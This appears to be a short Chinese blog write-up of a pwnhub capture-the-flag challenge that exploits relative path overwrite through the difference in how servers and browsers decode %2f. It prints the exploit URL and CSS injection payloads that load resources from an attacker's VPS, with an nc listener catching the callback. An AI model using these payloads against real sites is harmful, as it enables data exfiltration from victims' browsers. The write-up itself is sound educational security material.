pwnhub 相对路径覆盖

这个pwnhub小m师傅的题,做的时候完全没有思路。

首先是注册然后可以看到一个加载css的地方,是相对路径加载(当然我并没有觉得有什么问题)。

服务端和浏览器解析URL是有区别的,就是%2f

服务器吧%2f解析成/ 比如:http://domain/1%2f2.php,我们访问这个,服务器会解析成http://domain/1/2.php,而浏览器会把1%2f2.php当成一个文件

知道这点过后我们来看看payload:http://52.80.19.55/user.php/510/a/b/..%2f..%2f..%2f..%2fclasses.php

服务器把%2f当成/所以就变成了http://52.80.19.55/user.php/510/a/b/../../../../classes.php网上跳4级目录就是/classes.php

而浏览器把这个..%2f..%2f..%2f..%2fclasses.php当成一个目录,在加载这个目录下面的css的时候就变成了http://52.80.19.55/user.php/510/a/b/..%2f..%2f..%2f..%2fclasses.php../../classes.css网上跳两级目录就成了在user.php下面加载css而这个css里面的<p>写入了页面就是用户注册时提交的viow

,提交时提交自己的vps:*{}*{background-image:url('http://vpsip');}*{}或者{}import url('http://vpsip')

然后通过bugreporter 提交payload nc反弹就可以得到flag;

第一次遇到这个东西所以想记录下来

原文地址:https://www.cnblogs.com/wangshuwin/p/6629037.html